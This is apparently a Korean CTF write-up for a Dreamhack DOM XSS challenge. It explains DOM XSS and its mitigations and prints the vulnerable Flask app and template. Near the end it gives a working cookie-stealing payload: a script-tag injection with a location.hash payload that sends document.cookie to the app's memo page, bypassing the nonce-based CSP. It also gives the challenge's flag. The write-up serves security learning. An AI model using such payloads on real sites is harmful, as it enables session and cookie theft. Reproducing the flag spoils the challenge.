DOM 기반 크로스 사이트 스크립팅(DOM-based Cross-Site Scripting, DOM XSS)은 웹 애플리케이션에서 발생하는 일종의 XSS 공격으로, 공격 스크립트가 서버가 아닌 클라이언트 측의 DOM(Document Object Model) 조작을 통해 실행되는 경우를 말한다.
< XSS의 3가지 유형 >

사용자가 조작 가능한 URL(또는 쿠키, 로컬스토리지 등)에 악성 스크립트 코드를 넣음
ex) http://example.com/page#
클라이언트 쪽 자바스크립트가 이 값을 받아서 DOM 요소의 innerHTML, document.write(), eval(), setTimeout() 등 위험한 함수로 삽입하거나 실행함.
이 과정에서 브라우저가 악성 스크립트를 실행함.
공격자가 원하는 악성 동작(쿠키 탈취, 세션 탈취, 피싱 등)을 수행.
location.hash, location.search, location.pathname 등 URL에서 직접 사용자 입력을 받아서 바로 DOM에 삽입하거나, 스크립트로 실행하는 경우.
innerHTML이나 document.write()에 사용자 입력 값을 필터링 없이 넣는 경우
eval(), setTimeout(), setInterval() 등의 함수에 사용자 입력을 직접 전달하는 경우
출력 시 이스케이프 처리
HTML 내에 사용자 입력을 넣을 때는 특수문자(<, >, &, ", ')를 반드시 HTML 이스케이프해서 태그로 해석되지 않게 함.
textContent / innerText 사용 권장
가능하면 innerHTML 대신 textContent를 사용하여 텍스트로만 넣음.
URL 데이터 신뢰하지 않기
location.hash 등 URL에서 받은 데이터를 바로 DOM에 넣지 않고, 적절한 필터링과 검증 수행.
CSP(Content Security Policy) 설정
악성 스크립트 실행을 방지할 수 있는 브라우저 정책 적용.
DOM 조작 함수 주의 사용
eval(), setTimeout()에 사용자 입력 직접 넣지 않기.
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, name, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
return read_url(url, cookie)
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
nonce = os.urandom(16).hex()
return response
@app.route("/")
def index():
return render_template("index.html", nonce=nonce)
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", nonce=nonce, param=param)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
name = request.form.get("name")
if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
app.run(host="0.0.0.0", port=8000)
< read_url >
url과 cookie를 받아 Chrome headless 브라우저를 띄우는 함수
< check_xss >
param, name과 쿠키를 인자로 받아 vuln 페이지 URL 생성.
URL 해시(프래그먼트)로 name 값 넣음.
< /flag >
/flag 페이지는 GET/POST 둘 다 처리.
check_xss() 에서 cookie로 "name":"flag" 및 "value":FLAG 쿠키를 심어 크롬 헤드리스가 vuln 페이지를 열도록 함.
만약 check_xss가 False면 "wrong??" 경고창 띄우고 이전 페이지로.
True면 "good" 경고창 띄우고 이전 페이지로.
< /memo >
전역 문자열 memo_text 초기화.
/memo?memo=... 로 요청하면,
memo 파라미터를 memo_text에 누적하여 저장.
즉 memo에서 cookie값을 확인한다면 flag를 획득할 수 있음.
< vuln.html >
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<script nonce={{ nonce }}>
window.addEventListener("load", function() {
var name_elem = document.getElementById("name");
name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
});
</script>
{{ param | safe }}
<pre id="name"></pre>
{% endblock %}
사실상 이 html 코드가 더 중요하다.
페이지가 완전히 로드되면 load이벤트가 발생한다.
다음으로 자바스크립트는 id=name인 요소를 찾는다.
또한 URL의 # 뒤 기호를 제거한 값을 읽어와서 innerHTML로 삽입한다.
이 부분에서 DOM XSS가 발생할 수 있다.

param = < script id="name">
id가 name인 것을 찾으니 param에 삽입하여 주고, #뒤에는 XSS 코드를 삽입한다.
location='/memo?memo='+document.cookie//
memo?memo에 쿠키값을 입력할 것이다.
이제 이 폼을 제출하게 되면 good 으로 정상 실행이 된다.


memo에서 이렇게 플래그를 확인할 수 있게 되었다.
flag=DH{f246f75f094da605e087bb5c0916c0d2}